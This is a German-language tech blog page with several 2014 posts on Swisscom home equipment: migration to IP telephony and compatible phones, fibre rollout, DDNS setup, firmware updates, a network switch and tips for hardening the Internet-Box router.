Freitag, 26. Dezember 2014

Umstieg auf die Swisscom IP Telefonie (Privatkunden)

Vorwort


Allgemein bekannt, möchte Swisscom die herkömmlich vermittelnden Festnetzsysteme (Telefonzentralen) und die dazu gehörenden Produkte nur noch bis Ende 2017 unterstützen.
Namentlich handelt es sich dabei um die analoge Festnetztelefonie  und ISDN.
Dieses Ziel möchte man mit einer natürlichen Umstellung der Anschlüsse auf die IP Technologie erreichen.
Was bedeutet natürlich? Als beliebtester TV Anbieter der Schweiz, hat man ein starkes Zugpferd. Möchtest du TV 2.0 wirst du gleich auf die IP Telefonie migriert, sofern man die Telefonie benötigt.
Swisscom TV 2.0 ist nur noch im Zusammenhang mit neuen Bundles erhältlich. Fakt ist aber auch, gerade viele der jüngeren Generation abonnieren  privat schon gar keine Festnetztelefonie mehr. Bleiben also vor allem noch die bestehenden treuen Kunden welche migriert werden müssen. Unter anderem kann das schon im Zuge einer Glasfaserumstellung geschehen. Wie in diesem Artikel beschrieben, ist es möglich, dass man aktiv von der Swisscom auf eine Umstellung auf das Glasfasernetz animiert wird. Zudem hat man mit Swisscom Casa neu ein weiteres Angebot welches gerade für Traditionalisten geschaffen ist

Klar ist, Swisscom muss die Anschlüsse auf IP umstellen. Dabei haben sie auch meine Unterstützung.
Aber ich lese und höre immer wieder von Unklarheiten bezüglich dieser Umstellung.
Begriffe wie HD Phones und IP Telefonie werden immer wieder verwechselt. Manche Kunden haben das Gefühl sie können nun in den Laden stürmen und ein IP Phone kaufen. Zuhause merkt man das dies so nicht funktioniert. Andererseits wird auf den Swisscom Seiten und in der Swisscom Community oft suggeriert das man keine konventionellen Telefone mehr gebrauchen kann oder nur noch sehr eingeschränkt.
Viele Mythen und Wirren welche die Kunden schnell mal zum Kauf eines HD Phones animieren oder ein unbrauchbarer Systemmix hergestellt wird.

Daher ist es wieder mal Zeit einen kleinen Artikel zu schreiben.
Es soll euch bei Unklarheiten und einer Entscheidung helfen. Die Wertungen in diesem Artikel entsprechen meiner persönlichen Meinung. Es ist logisch, dass man bei anderen Prioritäten uU. zu einer anderen Wertung kommen würde.
Ich beleuchte hier die aktuelle Situation bei den Swisscom Privatkunden und gebe einen sehr kleinen Ausblick in die Zukunft, was gerade noch so im Möglichen liegt.
Sämtliche Angaben in diesem Artikel sind ohne Gewähr. Bestimmend ist immer der aktuelle Stand in einem sich schnell ändernden Bereich. Ich bin aber bemüht die Angaben so weit möglich aktuell zu halten.


Centro Router vs Internet-Box

Keine Angst, es wird hier kein Battle zwischen diesen zwei Router :)
Mit der Umstellung auf die IP Telefonie ist der Router bezüglich Telefonie das zentrale Element.
IP Telefonie existiert bei der Swisscom nicht erst seit es die Internet Box gibt, nein IP Telefonie ist auch mit den Centro Router möglich.

Dabei gibt es aber beachtliche Unterschiede welche mehr oder weniger ins Gewicht fallen können.

Centro Router

Dieser Router verfügt über eine oder 2 analoge Telefonschnittstellen. Die Steuerung dieser Schnittstellen erfolgt über das Swisscom Kundencenter. Die Funktionen hierzu habe ich schon mal in diesem Arikel erläutert. Dieses Gerät wird mittlerweile als Standard Router deklariert ist er doch schon einige Jahre alt und verfügt traditionell als CPE über sehr wenige Funktionen.
Nicht desto trotz ist IP Telefonie auch mit diesem Gerät möglich. Voraussetzung ist, man verwendet weiterhin seine analogen Telefone oder das Rousseau System.
Auch mit dem Centro Router ist es möglich die Multiline Funktionen 2/2, 3/3 oder 3/2 zu verwenden, aber ohne ISDN Endgeräte! Klat hier muss man mit analogen Telefonen oder dem Rousseau arbeiten.
Dieser Router wird in Zukunft von einer einfacheren Variante der Internet-Box ohne Display und weniger Zusatzfunktionen (Applikationen) abgelöst. Zudem entwickelt die Swisscom in Zusammenarbeit mit ihren Partnern ein weiters sehr einfaches Gerät welches über 2 Analogschnittstellen verfügt, mit einer DECT Basis aber ohne Wireless Modul, dafür mit optionalem Akkupack ausgestattet sein soll. Weitere Informationen dazu kann/soll ich aktuell nicht geben.
Die Idee oder Basis kann man aber im Artikel 2 Watt Router nachlesen.


Internet-Box

Dies ist das neue Flaggschiff der Swisscom im CPE Bereich.
Gegenüber den Centro Router verfügt dieses Gerät über mehr Funktionen im Netzwerkbereich, steuerbar über einen integrierten Applikationsteil welcher auch in Zukunft, mit mehr oder (meist) weniger brauchbaren Funktionen ausgestattet wird.
Bezüglich Telefonie verfügt auch dieses Gerät über 2 analoge Schnittstellen. Auch hier sind keine ISDN Endgeräte möglich.

DECT Basistation 

Des weiteren verfügt dieser Router zusätzlich über eine integrierte DECT Basisstation an die sich sogenannte HD Phones anmelden lassen. Grundsätzlich kann man auch andere DECT Endgeräte anmelden, dazu aber mehr im entsprechenden Abschnitt dieses Artikels.
Die HD Endgeräte erhalten alle eine interne Rufnummer womit eine interne Kommunikation und Weiterleitung ermöglicht wird. Die Zuteilung der Rufnummern erfolgt über das Webinterface des Routers.

Zentrales Telefonbuch

Arbeitet man mit den HD Phones steht ein zentrales Telefonbuch zur Verfügung. Dieses füttert man ebenfalls über das Webinterface der Internet-Box. Zudem steht für Android und iOS eine App zur Verfügung mit der man die Telefonkontakte vom Handy auf die Box spiegeln kann. Im nächsten Release der Firmware soll diese App im Heimnetz auch als Telefon funktionieren.


Endgeräte

HD Phones

Mit der Basisstation der Internet Box lassen sich bis zu maximal 4 DECT Endgeräte anmelden. Dazu gehören auch die sogenannten HD Phones der Swisscom. Grundsätzlich handelt es sich hier um Cat-iq 2.0 basierte Telefone mit angepasster Swisscom Firmware oder gar um Eigenentwicklungen wie dem HD Phone Montreux. Eine irrtümliche Meinung ist, dass es sich dabei um IP Endgeräte handelt. Dem ist eigentlich nicht so. Die Kommunikation bzw Sprachübermittlung zur Internet-Box erfolgt über DECT und nicht über IP. Somit telefoniert man nicht mehr IP als über ein analoges Telefon an diesem Router ;)
Zu den HD Phones gehört auch das HD Phone Rousseau. Die Funktionen der Internet-Box, sprich das zentrale Telefonbuch, lassen sich dabei aber nur gebrauchen wenn man das Rousseau auch über die Basisstation der Internet-Box betreibt.
Die Zuteilung der internen Rufnummern sowie der externen Rufnummern erfolgt über das Webinterface der Internet-Box.
Eine Unterscheidung der Ruftöne unterschiedlicher Rufnummern ist bei der Option Multiline noch nicht möglich.


Wertung:

-       maximal 4 Endgeräte
- -     teilweise träge in der Bedienung
- -     Life Time, Lebenszyklus ungewiss. Eher kurz
- - -   abhängig von der Internet-Box als Basisstation (Systemabhängigkeit)
-       wenig Auswahl an Geräten
- -     Empfang abhängig vom Standort der Internet-Box

+       HD Phone Montreux: Prämiertes Design
+ +    Gute Gesprächsqualität
+       Nutzung Telefonbuch der Internet Box möglich
+ +    CNIP Erkennung
+       einfache Programmierung via Webinterface
+       Gerätesupport durch Swisscom


HD IP Phone Rousseau mit IP Basisstation Rousseau 10

Das Rousseau System war das erste eigentliche IP Phone der neuen Generation. Die Bluewin Phone Geschichten lassen wir jetzt mal aussen vor :)
Der Betrieb ist im Gegensatz zu den HD Phones auch mit dem Centro Grande möglich, da hier mit einer eigenen Basisstation, genannt Rousseau 10, gearbeitet wird. Diese Basisstation wir über das Netzwerk an den Router angeschlossen. Daher ist ein abgesetzter Betrieb vom Router entsprechend möglich. Zudem steht für das Rousseau System nun auch ein Repeater zur Verfügung.
An die Rousseau Basisstation lassen sich auch andere HD Phones anmelden. Dies macht aber nicht unbedingt Sinn und ist noch nicht offiziell unterstützt.
Beim Einsatz eines Rousseau System kann man die DECT Funktion der Internet-Box deaktivieren. Die Steuerung und Kommunikation läuft über die eigene Basisstation, womit die der Internet Box nicht gebraucht wird. Zudem steht in diesem Betrieb das allfällige Telefonbuch der Internet-Box nicht zur Verfügung.
Die Zuordnung der internen und externen Rufnummern erfolgt in den Handgeräten.
Es können maximal 5 Handgeräte angemeldet werden.

Wertung:

-      Form und Design Geschmacksache
- -    Life Time, Lebenszyklus ungewiss
- - -  Systemabhängigkeit Rousseau
- -    Programmierung Telefonbuch nur über Handgerät

+ + +   schnelle intuitive Bedienung der Handgeräte
+ + +   Standort von Basisstation und Repeater variabel
+          bis zu 5 Handgeräte
+ +      Gute Gesprächsqualität
+ +      CNIP Erkennung 
+         Einsatz auch bei Centro Router möglich (IP Anschluss Voraussetzung)
+         Gerätesupport durch Swisscom

Analoge Endgeräte:

Wie bereits angesprochen verfügen sämtliche aktuellen und künftige Swisscom Router im Minimum über eine analoge Schnittstelle. Da der Centro piccolo offiziell aus dem Verkauf ist, sind es in der Praxis sogar 2 Schnittstellen.
Beim Wechel auf die IP Telefonie bekommt man von der Swisscom ein IP Telefonie Kit oder dieses liegt bei einem neuen Router sogar bei. Dabei handelt es sich um eine Übergangskabel von RJ 11 auf TT 83. Damit sollte sich ein analoges Endgerät problemlos stecken lassen. Weiter Unterstützung hierzu findet man auf den Hilfe Seiten der Swisscom:
So lange es sich beim Endgerät um eines mit Tonwahl handelt, muss man dieses noch lange nicht aufs Alteisen werfen.
Das analoge Telefonsignal lässt sich sogar in die bestehende Telefonistallation rückspeisen. Am einfachsten geht dies bei einer bestehenden BBR Installation mit Digitalsteckdose.
Die Zuordnung der Telefonnummern erfolgt bei den Centro Router im Kundencenter. Bei der Internet-Box erfolgt die Konfiguration im Webinterface des Routers. Im Falle der Internet-Box wird den Schnittstellen sogar eine interne Rufnummer zugewiesen. Aber Achtung. Bitte dazu noch den Abschnitt Systemmix beachten!
Mit dem Wissen das die analogen Telefone funktionieren ist auch klar das man eigentlich völlig frei in der Wahl der Geräte ist. So ist es möglich sein geliebtes Gigaset System weiterhin zu verwenden.
Wenn dieses ein DECT System ist, so sollte man die Basisstation des Herstellers verwenden. Nur so hat man weiterhin alle Funktionen des Gerätes.
Natürlich ist mit diesen Geräten das interne Telefonbuch der Internet-Box nicht brauchbar.
Die Rufnummernsperre der IP Telefonie steht aber auch hier zur Verfügung.


-    leicht geringere Gesprächsqualität wahrnehmbar
-    Telefonbuch der Internet-Box lässt sich nicht verwenden
-    Telefon muss ohne BBR Installation an den Router angeschlossen werden
- -  Einschränkungen bei Systemmix
-    Impulswahltelefone nur über Konverter betreibbar (nicht empfohlen)

+ + +   freie Systemwahl. Unabhängig von Swisscom
+         bestehendes Telefon kann weiterhin verwendet werden
+ +      Skalierbarkeit je nach Hersteller
+ +      Schnurgebundene Telefone nutzbar
+         CNIP, ist aber geräteabhängig


Systemmix vermeiden

Systemmix vermeiden, was ist damit gemeint?
HD Phones, Rousseau, analoge Endgeräte, DECT Basisstation. Das bietet doch eine Vielzahl an möglichen Kombinationen!
Mein Tipp, lasst es sein. Hierzu gebe ich einige Beispiele.

An die DECT Basisstation der Internet-Box lassen sich auch fremde DECT Endgeräte anmelden. Nachteil: Es stehen somit nur noch die Grundfunktionen des Gerätes zur Verfügung stehen. Hat man also bereits 3 DECT Endgeräte, so macht es keinen Sinn diese an der Basisstation der Box anzumelden. Hingegen lässt sich noch ein vorhandenes fremdes Endgerät verschmerzen, sofern man dieses nicht oft benötigt und nicht gleich alles HD Phones kaufen will.
Andererseits kann und sollte man sich fragen ob es wirklich Sinn macht in dieser kurzlebigen Zeit sein bereits bewährtes System über den Haufen zu werden und alles neu zu kaufen.
Wer weiss schon wie die Router in 2 Jahren aussehen und ob man nicht eventuell durch das Gesetz die SIP Zugangsdaten oder einen SIP Zugang im Router freigeben muss?
Die aktuelle Situation ist einfach gesagt ja zumindest etwas delikat. Stichwort Gerätezwang...

Mix HD Phones, Rousseau Basisstation.
Ist möglich, kann man so stecken. Das sind 2 verschiedene Systeme welche nicht nahtlos miteinander arbeiten. (Telefonbuch, interner Nummerierungsplan usw.). Entscheidet euch also für das eine oder andere. Ein Mix wird nicht viel Spass machen.

Einschränkung in der Zusammenarbeit mit den analogen Schnittstellen:
Man muss wissen das die analogen Schnittstellen bei der Internet-Box zwar auch intern erreichbar sind, eine Weiterleitung aus dem DECT System der Box auf die Schnittstelle und umgekehrt aber nicht möglich ist.

Hinweise

Faxanschluss

Ein Fax kann weiterhin betrieben werden. Hierzu kann es bei der Umwandlung der analogen Signale in IP und wieder zurück zu Problemen kommen. Gerade bei mehreren Seiten kann die Übermittlung fehlschlagen.
Tipp:
Die Baud Rate des Fax auf 14400 evtl sogar auf 9600 runterstellen
Allfälliges ECM raus.







ISDN Telefone

ISDN wird für die Swisscom Privatkunden nicht mehr unterstützt. Eine mögliche zeitweilige Lösung wäre ein Wechsel auf das KMU Produkt my KMU Office. Der Rounter Centro Business unterstützt noch ISDN Endgeräte. Mehr dazu aber in einem späteren eigenen Beitrag zu my KMU Office.
Ein Workaround wäre noch ein ISDN Konverter wie die Fritzbox, gespiesen durch einen analog Port des Swisscom Routers. Achtung: Die Fritzbox selber bekommt die SIP IP Credentials durch Swisscom nicht direkt zugewiesen!

Multiline

Auch bei IP basierten Telefonanschlüssen bietet die Swisscom die Option Multiline an.
Neu nicht mehr verfügbar ist die Option mit 3 Ruffnummern und 2 gleichzeitigen Linien, genannt 3/2. Dafür gibt es die Optionen 2/2 und 3/3.
Bei 3 Linien gibt es aber eine kleine Restriktion.

- Analoge Schnittstellen besitzen nur 2 Linien. Sofern beide in Gebrauch sind, so ist ein drittes Gespräch nur über ein Rousseau System oder dem DECT der Internet-Box möglich. (Obsolet sofern der 3 Rufnummer zb. eine Umleitung auf die Combox Pro eingerichtet ist.)


IP Telefone

Fremde IP Telefone werden nicht unterstützt. Spricht die SIP Zugangsdaten werden von der Swisscom weder freiwillig noch wissentlich unfreiwillig weitergegeben.
SIP Endgeräte lassen sich vorerst nur am Business Router Centro Business direkt anmelden.
Ergo, der Betrieb ist nur im Zusammenhang mit den Business Bundles angedacht.

IP Telefonie ist in dem Sinne ist vorerst nur über die iO App möglich, sowie in Zukunft über die Internet Box App im heimischen Netz (oder einem Netz welches zum Heimnetz umgebogen wird)


PBX, TVA, Telefon- und Alarmanlagen, Modemanwendungen

Der Betrieb einer Telefonanlage wird für Swisscom Privatkunden nicht unterstützt. Analoge Systeme könnten noch an den analogen Ports des Routers betrieben werden, sofern die Frequenzwahl unterstützt wird. Das Gleiche gilt für Alarmanlagen sofern diese nur einen Ruf auslöst.
Modemanwendung werden daher nicht unterstützt. Bei Alarmanlagen gilt es sich beim Hersteller über eine IP oder GSM Lösung zu infomieren.
Kleine TVA's könnten mit Workarounds eventuell betrieben werden. Wird aber nicht empfohlen.
Geschäftskunden wird geraten entweder eine Lösung über my KMU Office oder Business Connect zu suchen.



Diese Seite beinhaltet Bilder von Swisscom, Brother und Siemens Gigaset

Freitag, 22. August 2014

Kundenmigration auf ftth bei Swisscom

Vom Kupfer aufs Glas


Bild: Swisscom
Vielen Zürchern werden die Werbungen für das ewz.zürinet ein Begriff sein.
Bevor der Anschluss schon in Betrieb ist, wird man schon frühzeitig auf Angebote der Provider auf diesem Netz hingewiesen. Aber auch der Swisscom Kampagne der schnellsten Schweiz, wird man doch hie und da begegnet sein. So kann man uA. ein 36m langes Swisscom Tram ja auch schlecht übersehen :)





Neu scheint die Swisscom ihre Kunden welche nicht aktiv werden, direkt zu avisieren. Dabei wird man vom Direktmarketing der Swisscom angerufen und informiert, dass man nun einen neuen Router und ein Telefon zu Gute habe, wenn man auf ftth umstellt. Die bestehenden DSL Produkte werden dabei migriert. Natürlich ist der Router und das Telefon gratis. Der Deal: Dabei wird der Vertrag um 12 Monate verlängert.
Interessant dabei, eine Migration auf ein Vivo Produkt scheint plötzlich nicht mehr nötig zu sein.
Dabei sollte wohl klar sein, dass es wohl hauptsächlich darum geht, den Kunden auch auf dem Fiber Netz zu halten. Die technische Migration auf IP dürfte wohl eher 2. rangig sein.

Dem Kunde wird eine Internet-Box mit Fiber Modul zugesendet. Zudem bekommt man noch ein Rousseau Handgerät inkl. Basisstation (310) :)
Böse Zungen behaupten, die Basisstation liege bei, weil man bis Dato noch nicht in der Lage ist dem Rousseau ein Firmwareupdate über die Internet-Box selber zu besorgen.
Natürlich bekommt man gleich noch ein Formular um den Cable Anschluss zu künden.
Was ich aber noch nicht weiss ist, ob diese Kunden auch gleich ein Taste and Buy angeboten wird. Gemäss Informationen soll dies in Zukunft den Kunden, welche einen technischen Speedupgrade erfahren haben (ftth, ftts, fttb,), jeweils angeboten werden.


Zum Schluss noch den Begleitbrief welchen man in elektronischer Form im Kundencenter findet.

Sehr geehrter Herr Muster
Sie haben Festnetz, Internet mini und Swisscom TV light von Swisscom über
die moderne Glasfasertechnologie abonniert. Wir danken Ihnen herzlich für Ihr
Vertrauen. Wir wünschen Ihnen viele erlebnisreiche Stunden mit unseren
Diensten.
Sie erhalten in den nächsten Tagen alle notwendigen Geräte und Anleitungen.
Schliessen Sie die Geräte am Steckplatz 2 der Glasfaser-Steckdose an. Die den
Geräten beigelegten Anleitungen unterstützen Sie bei der Einrichtung.
Den Status Ihrer Bestellung können Sie jederzeit unter www.swisscom.ch/
bestellung verfolgen.
Bitte beachten Sie:
> Während der Aufschaltung wird Ihr Telefon eine gewisse Zeit lang nicht zur Verfügung stehen.
Für die Inbetriebnahme müssen Sie alle Telefon- und Faxgeräte direkt am Router anschliessen.
Swisscom TV und Internet funktionieren gleich nach dem Einschalten der Geräte.
> Sobald alle Ihre Dienste vollumfänglich eingerichtet sind, werden Sie mit einem SMS an die
Nummer benachrichtigt.
> Nach der Inbetriebnahme können Sie in Ihrem Kundencenter beispielsweise die TVSenderreihenfolge
ändern, aktuelle Kosten abfragen oder Rechnungen einsehen.
Sie erhalten einmalig zwei Rechnungen zu einem Kalendermonat; für die
bisherigen Dienstleistungen und für die neu gültigen Dienste ab dem Datum der
Umschaltung.
Bitte beachten Sie auf der jeweiligen Rechnung das Datum der Umschaltung und
der Verrechnung.
Falls Sie noch einen TV-Kabelanschluss haben und diesen nicht mehr wünschen,
kündigen Sie diesen bitte schriftlich bei Ihrem Kabelanbieter oder Ihrem
Vermieter. Benutzen Sie hierfür unsere Kündigungsvorlage für Ihren TVKabelanschluss.
Haben Sie Fragen oder benötigen Sie weitere Informationen? Dann besuchen Sie
unsere Hilfeseite im Internet unter www.swisscom.ch/glasfaser
Freundliche Grüsse
Swisscom (Schweiz) AG

Montag, 28. Juli 2014

Dynamic DNS auf der Swisscom Internet Box

Konfiguration DDNS auf der Swisscom Internet-Box

In diesem kleinen How-to zeige ich wie man auf dem neuen Router der Swisscom, der Internet Box, einen kostenlosen Dynamic DNS Dienst einrichtet.

Anmeldung eines kostenlosen Dynamic DNS Services

Die Internet Box unterstützt folgende DDNS Anbieter:

In diesem How-to verwende ich No-IP, da dieser Dienst immer noch kostenlos ist und einige gute Features anbietet, falls man später mal etwas mehr konfigurieren möchte.
Sinngemäss kann dieses How-to aber auch für andere Anbieter verwendet werden.

Die Registration bei No-IP erledigt man über folgenden Link:
Bei der Anmeldung reicht ein Free Sign Up. Damit lassen sich bereits 3 Hostnamen registrieren. Wer bei Port 80 redirect keine Werbung eingeblendet haben möchte muss auf den kostenpflichtigen Account wechseln.
Bei der Anmeldung markiert man noch "Create my hostnmae later". Dies erledigen wir später, damit auch immer klar ist wo man dies allenfalls mal ändern kann.
Man merke sich noch den Benutzernamen oder die E-Mail Adresse und das Passwort welches wir hier gewählt haben. Brauchen wir später nochmals auf der Internet Box.

Erstellung des Hosts


Damit man seine dynamische IP einer URL zuweisen kann muss man bei NO-IP einen Host erstellen.
Dies ermöglicht das Kontrollpanel nach erfolgreichem Login unter Hosts/Redirects, >Manage Hosts --> Add A Host: https://www.noip.com/members/dns/


Im neuen Fenster wählen wir einen Hostnamen welcher gefällt und als Typ einen A Record.
Die IP des Anschlusses, von wo aus man die Konfiguration vornimmt, wird bereits angezeigt. Dies muss jetzt noch nicht die Heim IP des Swisscom Anschlusses sein. Diese übermitteln wir im nächsten Schritt.



Nach dem Speichern sollte die Bestätigung erfolgen. Auf Seite No-IP sind wir eigentlich schon fertig.
Als nächstes gehts an die Konfiguration der Internet Box.

Einrichten des DDNS auf der Internet Box

Auf der Internet Box gibt es nicht mehr viel zu tun.
Man logge sich auf der Internet Box ein: Passwort ist im Kundencenter zu finden (oder sogar via Display anzeigbar falls man die Security Tipps noch nicht befolgt hat).
Unter Netzwerk > Einstellungen > DynDNS muss der neu erstelle Account registriert werden. Den Punkt findet man in der Internet Box nur im Experten Modus. Tja ;)

Jetzt ist das Ganze eigentlich schon fast ein Selbstläufer:
DynDNS aktivieren und in diesem Fall No-IP auswählen.
Hostname einfügen und mittels Benutzername (oder E-Mail Adresse) und Passwort registrieren.
Falls alles geklappt hat sollte der Status auf dieser Seite auf aktiviert stehen und die letzte Synchronisation mit dem DDNS Service angezeigt werden.





Dienstag, 22. Juli 2014

Swisscom Internet Box App nun auch für Android erhältlich

Android Internet Box App

Seit kurzem ist die Internet Box App welche es bisher nur für iOS gab auch in der Android Version erhältlich.
Unterstützt werden Android Geräte ab 4.0+.

Jederzeit von Ihrem Smartphone geschützt auf Ihre Daten zuhause zugreifen. Spielen Sie Musik, Fotos und Videos von unterwegs ab. Auch wichtige Dokumente sind so immer mit im Gepäck.
Voraussetzung ist die Internet-Box von Swisscom und ein damit verbundenes Speichergerät (externe Festplatte, USB-Stick oder SD-Karte).

Die App kann im Play Store mittels folgendem Link heruntergeladen werden:
https://play.google.com/store/apps/details?id=com.swisscom.internetbox&hl=de 

Hilfe zur Konfiguration findet man unter folgender Seite der Swisscom:
http://www.swisscom.ch/de/privatkunden/hilfe/loesung/zugriff-per-app-vonunterwegs.html

Donnerstag, 26. Juni 2014

Internet-Box Firmware Update 05.00.22/05.00.32

Internet-Box Firmware Update 05.00.22/05.00.32


Swisscom hat heute offiziell das Firmware Update 05.00.22/05.00.32 für ihren Router "Internet-Box" freigegeben.
Die Router werden erst nach der WM automatisch aktualisiert. Das Update kann aber bereits jetzt über folgenden Link bezogen werden:

Tipp:
Das Update für die Internet Box besteht aus 2 Dateien. Eine für die Router Firmware, die andere für den Applikationsteil.
Zuerst immer die Routerfirmware aktualisieren. Danach kann man das Applikationsupdate einlesen, dazu muss aber der Zentrale Speicher in der Internet Box aktiviert sein.

Changelog:

Router Firmware (05.00.22):

Stabilitätsverbesserungen im 5 GHz WLAN
Anzeige der aktuellen System-Zeit bei den WLAN-Betriebszeiten
Weitere Verbesserungen zu den Betriebszeiten
Gast-WLAN Passwort Anzeige auf dem Display kann unterdrückt werden
Geräte welche mit einer Kinderschutzfunktion versehen wurden, werden auch auf dem Gast-WLAN geblockt
Behebung eines Problems mit FTP, wenn Zugriff von zu Hause aus erfolgt
Anzeige des Web Portal „admin“ Passworts im Swisscom Kundencenter
Verbesserungen beim Sichern und Wiederherstellen von Konfigurationen ins Swisscom Kundencenter
Display-Hinweis beim Erreichen der maximal unterstützen Anzahl HD Phones (DECT)
Geräte-Stabilität weiter verbessert
Bei Verwendung eines 3G oder LTE Internet-Sticks kann der SIM-Karten PIN direkt im Browser eingegeben werden
Behebung eines Problems zum Senden von E-Mail mit SMTP Servern
Festnetztelefonie IP Stabilisierungen
Weitere Verbesserungen



Applikations-Firmware (05.00.32):

[Neues Feature] Innovativer Speedtest zum Messen der Internet- und der Heimnetz-Geschwindigkeit
Änderung der IP-Adresse des zentralen Speichers möglich
Anzeige von DLNA-Vorschaubildern, sofern diese in der Mediendatei (Musik oder Fotos) vorhanden sind
Stabilitätsverbesserungen

Freitag, 13. Juni 2014

NEU Swisscom Netzwerk Verteiler Box #3

8-Port Switch im Swisscom Shop

Im Swisscom Shop ist eine neue Version der Netzwerk Verteiler Box erhältlich.
Im Allgemeinen sind solche Böxchen auch als Switches bekannt ;)
Bisher hatte die Swisscom einen 5 Port Switch im Angebot, neu wird die 8 Giga-Port Version geliefert.
Wie beim Vorgänger, handelt es sich um einen Netgear Switch der Prosafe plus Familie, genauer gesagt, um einen Netgear GS108E(v2).
Fleissige Leser dieses Blogs, werden diesen Switch als alten Bekannten erkennen. Ansonsten empfehle ich euch diesen kleinen Artikel: http://www.tuxone.ch/2013/07/swisscom-multicast-im-lan.html

Natürlich ist auch dieser Switch IGMP tauglich und snooped den TV Traffic entsprechend.
Zur allfälligen Konfiguration wird ein Tool benötigt, welches eine Windows Maschine voraussetzt. Dieser Switch geht also höchstens in die Kategorie "Smart Managed".
Als weitere nennenswerte Funktionen würden somit noch VLAN, QoS, ein rudimentärer Kabeltester und meine Lieblingsfunktion Port Mirroring, zur Verfügung stehen.

Im Swisscom Shop ist dieses Gerät für Fr. 49.- erhältlich, also für Fr 10.- mehr als man noch für den Vorgänger Netgear GS105E bezahlen musste (welcher natürlich weiterhin für Swisscom TV gebraucht werden kann und in anderen Shops weiterhin zur Verfügung steht).
Die Fr. 49.- der Swisscom sind im Online Vergleich ein sehr fairer Verkaufspreis, zudem profitiert man wie immer von der unkomplizierten 2 Wochen Geld zurück Garantie.

Das Gerät ist schon lange Tux approved, wer so was also braucht "go4it"

Dienstag, 10. Juni 2014

Swisscom WLAN-Netzerweiterer Airties 4400 Firmwareupdate

Firmwareupdate für den Swisscom WLAN Repeater (Airties)

Für den WLAN Repeater von Swisscom steht ein Firmwareupdate zur Verfügung.
Dieses Update gilt nur für den kleinen weissen Repeater von Airties.
Dieses Update wird nicht automatisch verteilt und ist nicht leicht zu finden. Unter folgendem Link könnt ihr euch das Update aber holen:

Das Update wird via Webinterface des Repeaters installiert. Dazu sucht ihr in eurem Netzwerk den Repeater (zB. mittels der Geräteübersicht der Swisscom Router) und loggt euch unter der dort gefundenen IP auf das Gerät ein. Benutzername ist admin, das Passwort: password

Das Update verspricht folgende Verbesserungen:
  • verbesserte WLAN Sendeleistung
  • verbesserte WLAN Performance
  • open-source Konformität

Sonntag, 1. Juni 2014

4 Tipps wie man die Internet Box sicherer macht

Sicherere Einstellungen für die Swisscom Internet Box


Hallo Zusammen. Ich begrüsse euch zum ersten Artikel von mir bezüglich gewisser Einstellungen der Internet Box.
Die Swisscom Internet Box ist nun mittlerweile auch für Kupferkunden verfügbar. Die Centro Router werden nur noch in der Centro Grande Ausführung angeboten und als Standard Gerät deklariert.
Die Internet Box gibt es momentan als vergünstigte Promotion bei einem Wechsel auf die neuen Vivo M-XL Angebote.
Da nun doch schon einige Fragen bezüglich der Internet Box aufgetaucht sind, so möchte ich zum Start einige kleine Security Tipps geben.

1. Automatische Portweiterleitung erlauben (UPnP IDG)

Automatische Portweiterleitung erlauben, nein das wollen wir eigentlich nicht :)
Bei der Internet Box ist diese Einstellung per Default aktiv. Damit können Geräte oder Programme automatische Portweiterleitungen konfigurieren. Wie in diesem Artikel schon erklärt halte ich dies nicht für so schlau.
Die Erklärung der Box selber lautet:
Das automatische Konfigurieren von Portweiterleitungs-Regeln durch Geräte im Heimnetzwerk wird oft von modernen Spielkonsolen oder IP-Kameras verwendet. Der Vorteil ist, dass diese Geräte alle benötigten Ports automatisch öffnen, ohne dass der Benutzer etwas konfigurieren muss.
Ok schön und gut. Die "Vorteile" die man haben könnte wiegen die Sicherheitsbedenken welche dadurch entstehen können keinesfalls auf. Ein schadhaftes Gerät oder ein Script auf einer Webseite können durch diese Funktion ungehindert Portweiterleitungen erstellen und somit das Tor für weitere Angriffe öffnen.

Mein Tipp also: Router auf die Werkseinstellungen zurücksetzen und diese Funktion gleich deaktivieren!
Ihr findet die Einstellung im Experten-Modus unter Netzwerk, Portweiterleitungen.




Diese Einstellung hat übrigens keinen Einfluss auf weitere UPnP Funktionen der Internet Box. Die Box macht auch mit deaktivierter Funktion weiterhin Ankündigungen im Netz um Mediengeräte zu finden oder das ganze Netzwerk für den Swisscom Support und weiteren Interessenten zu mappen.

2. Passwort-Wiederherstellung deaktivieren

Die Internet Box bietet eine Funktion um ganz einfach via Display das admin Passwort anzuzeigen.
Seit ihr wirklich solche Holzköpfe wie da angenommen wird? Nicht wirklich hoffe ich. Ansonsten sehen wir mal darüber hinweg und deaktivieren diese Funktion unter Internet-Box, Einstellungen > Internet-Box Login
Kleiner Tipp. Falls ihr das Passwort wirklich mal vergessen habt könnt ihr dieses im Kundencenter nachschauen. Falls diese Funktion das Passwort noch nicht korrekt im Kundencenter hinterlegt, keine Sorge, wird durch Swisscom in einem nächsten Release gefixt.


 3. Wireless Passwort auf dem Display anzeigen

Die Internet-Box bietet noch eine nützliche Funktion auf dem Display. Sicherheitstechnisch aber auch äusserst bedenklich. Die Wireless Passwörter lassen sich sowohl für den Gast wie auch für das normale Netzwerk ganz einfach anzeigen. Ganz einfach ist es aber auch diese Lücke zu schliessen.
Und zwar unter:
Internet-Box > Display: Deaktiviert dort gleich beide Punkte.



Aber Achtung. Leider lässt sich momentan WPS nicht deaktivieren. Damit kann ein Gast oder Fremder mit einem kurzen Klick auf den äusserst prominent platzierten + Knopf Zugriff auf das Netzwerk erlangen. Bis dies gefixt ist, bleibt das deaktivieren der Passwörter auf dem Display ziemlich fruchtlos. Gemeldet ist es, ich hoffe auf einen baldigen fix.

4. einen Fremdrouter verwenden

Leider bietet die Internet Box keine Möglichkeit den Zugriff durch die Swisscom und damit Potentiell anderen, zB. der Regierung, zu unterbinden.
Daher noch der mehr oder weniger ernst gemeinte Tipp: verwendet einen Fremdrouter. Wer mich kennt weiss dies einzuordnen :)
Es wäre utopisch zu glauben das ein eigener Router einem vor allen Möglichkeiten schützt. Es liegt aber an euch ein grosses FUCK YOU zu sagen und bis zum Umdenken des Herstellers, sprich der Swisscom, die Anwender zumindest mal gelegentlich darauf hinzuweisen. Ich vertrete meine ehrliche Meinung auch wenn es mich zum dirty 0ne macht :)
Schlussendlich überlasse ich jedem seine eigene Entscheidung. Ich weiss das dies aber ein Punkt ist welcher vielen nicht gefällt.
